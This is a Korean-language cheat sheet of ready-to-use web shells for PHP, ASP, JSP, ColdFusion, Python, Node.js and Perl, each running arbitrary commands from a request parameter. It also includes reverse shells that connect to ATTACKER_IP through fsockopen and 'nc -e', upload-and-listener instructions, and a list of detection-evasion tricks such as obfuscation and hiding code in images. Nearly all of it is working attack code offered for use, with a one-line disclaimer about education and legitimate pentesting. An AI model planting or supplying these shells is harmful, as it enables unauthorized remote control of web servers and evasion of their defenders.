Web Shells

웹 서버 환경에서 사용할 수 있는 다양한 웹 쉘들입니다.

🐘 PHP

Basic PHP Web Shell

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

PHP with eval

<?php
if(isset($_REQUEST['cmd'])){
    eval($_REQUEST['cmd']);
}
?>

PHP with shell_exec

<?php
if(isset($_REQUEST['cmd'])){
    echo shell_exec($_REQUEST['cmd']);
}
?>

PHP with passthru

<?php
if(isset($_REQUEST['cmd'])){
    passthru($_REQUEST['cmd']);
}
?>

PHP with proc_open

<?php
if(isset($_REQUEST['cmd'])){
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );
    $process = proc_open($_REQUEST['cmd'], $descriptorspec, $pipes);
    if (is_resource($process)) {
        fwrite($pipes[0], "php -r 'echo \"Hello World\";'");
        fclose($pipes[0]);
        echo stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        echo stream_get_contents($pipes[2]);
        fclose($pipes[2]);
        proc_close($process);
    }
}
?>

PHP with popen

<?php
if(isset($_REQUEST['cmd'])){
    $handle = popen($_REQUEST['cmd'], 'r');
    while(!feof($handle)) {
        echo fread($handle, 1024);
    }
    pclose($handle);
}
?>

PHP Reverse Shell

<?php
$sock=fsockopen("ATTACKER_IP",PORT);
exec("/bin/sh -i <&3 >&3 2>&3",$sock);
?>

PHP with file_get_contents

<?php
if(isset($_REQUEST['cmd'])){
    echo file_get_contents('http://ATTACKER_IP:PORT/?cmd='.urlencode($_REQUEST['cmd']));
}
?>

🖥️ ASP

Basic ASP Web Shell

<%
if request("cmd")<>"" then
    response.write("<pre>")
    response.write(server.createobject("wscript.shell").exec(request("cmd")).stdout.readall)
    response.write("</pre>")
end if
%>

ASP with eval

<%
if request("cmd")<>"" then
    eval(request("cmd"))
end if
%>

ASP with execute

<%
if request("cmd")<>"" then
    execute(request("cmd"))
end if
%>

ASP Reverse Shell

<%
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /c nc -e cmd ATTACKER_IP PORT", 0, True
%>

☕ JSP

Basic JSP Web Shell

<%
if(request.getParameter("cmd")!=null){
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line;
    while((line = br.readLine()) != null){
        out.println(line + "<br>");
    }
}
%>

JSP with ProcessBuilder

<%
if(request.getParameter("cmd")!=null){
    ProcessBuilder pb = new ProcessBuilder(request.getParameter("cmd").split(" "));
    Process p = pb.start();
    java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line;
    while((line = br.readLine()) != null){
        out.println(line + "<br>");
    }
}
%>

JSP Reverse Shell

<%
String[] cmd = {"cmd", "/c", "nc -e cmd ATTACKER_IP PORT"};
Runtime.getRuntime().exec(cmd);
%>

🔧 ColdFusion

Basic ColdFusion Web Shell

<cfif isDefined("form.cmd")>
    <cfexecute name="#form.cmd#" output="result" timeout="10">
    <cfoutput>#result#</cfoutput>
</cfif>

ColdFusion with cfscript

<cfscript>
if(isDefined("form.cmd")){
    result = createObject("java", "java.lang.Runtime").getRuntime().exec(form.cmd);
    // Process result
}
</cfscript>

🐍 Python (WSGI)

Basic Python Web Shell

import os
import cgi

def application(environ, start_response):
    if environ['REQUEST_METHOD'] == 'POST':
        form = cgi.FieldStorage(environ=environ, fp=environ['wsgi.input'])
        if 'cmd' in form:
            cmd = form['cmd'].value
            result = os.popen(cmd).read()
            start_response('200 OK', [('Content-Type', 'text/html')])
            return [result.encode()]
    
    start_response('200 OK', [('Content-Type', 'text/html')])
    return [b'<form method="post"><input name="cmd"><input type="submit"></form>']

Python with subprocess

import subprocess
import cgi

def application(environ, start_response):
    if environ['REQUEST_METHOD'] == 'POST':
        form = cgi.FieldStorage(environ=environ, fp=environ['wsgi.input'])
        if 'cmd' in form:
            cmd = form['cmd'].value
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
            start_response('200 OK', [('Content-Type', 'text/html')])
            return [result.stdout.encode()]
    
    start_response('200 OK', [('Content-Type', 'text/html')])
    return [b'<form method="post"><input name="cmd"><input type="submit"></form>']

🟨 Node.js

Basic Node.js Web Shell

const express = require('express');
const { exec } = require('child_process');
const app = express();

app.use(express.urlencoded({ extended: true }));

app.get('/', (req, res) => {
    res.send(`
        <form method="post">
            <input name="cmd" placeholder="Enter command">
            <button type="submit">Execute</button>
        </form>
    `);
});

app.post('/', (req, res) => {
    const cmd = req.body.cmd;
    exec(cmd, (error, stdout, stderr) => {
        res.send(`<pre>${stdout || stderr}</pre>`);
    });
});

app.listen(3000);

🔧 Perl (CGI)

Basic Perl Web Shell

#!/usr/bin/perl
use CGI;
use strict;

my $cgi = new CGI;
print $cgi->header;

if ($cgi->param('cmd')) {
    my $cmd = $cgi->param('cmd');
    print "<pre>";
    system($cmd);
    print "</pre>";
}

print $cgi->start_form;
print "Command: " . $cgi->textfield('cmd');
print $cgi->submit;
print $cgi->end_form;

📝 Usage Instructions

  1. ATTACKER_IP를 실제 공격자 머신의 IP 주소로 변경하세요
  2. PORT를 사용할 포트 번호로 변경하세요
  3. 웹 서버에 해당 파일을 업로드하세요
  4. 브라우저에서 파일에 접근하여 명령어를 실행하세요
  5. 공격자 머신에서 리스너를 실행하세요:
    nc -lvp PORT
    

⚠️ Important Notes

  • 웹 서버의 보안 설정에 따라 일부 함수가 비활성화될 수 있습니다
  • 웹 애플리케이션 방화벽(WAF)이 차단할 수 있습니다
  • 파일 업로드 제한이 있을 수 있습니다
  • 로그 파일에 명령어가 기록될 수 있습니다
  • 교육 목적과 합법적인 침투 테스트에만 사용하세요

🛡️ Detection Evasion

Obfuscation Techniques

  • Base64 인코딩
  • 문자열 분할 및 재조합
  • 변수명 난독화
  • 주석 및 공백 제거

Alternative Methods

  • 이미지 파일에 코드 숨기기
  • 데이터베이스에 코드 저장
  • 환경 변수 활용
  • 레지스트리 활용 (Windows)